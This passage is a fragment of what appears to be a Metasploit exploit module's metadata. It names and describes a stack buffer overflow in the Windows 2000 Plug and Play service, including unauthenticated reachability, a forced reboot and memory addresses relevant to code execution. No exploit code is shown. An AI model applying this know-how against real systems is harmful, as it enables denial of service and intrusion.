'Name' => 'Microsoft Plug and Play Service Registry Overflow',
'Description' => %q{
This module triggers a stack buffer overflow in the Windows Plug
and Play service. This vulnerability can be exploited on
Windows 2000 without a valid user account. Since the PnP
service runs inside the service.exe process, this module
will result in a forced reboot on Windows 2000. Obtaining
code execution is possible if user-controlled memory can
be placed at 0x00000030, 0x0030005C, or 0x005C005C.
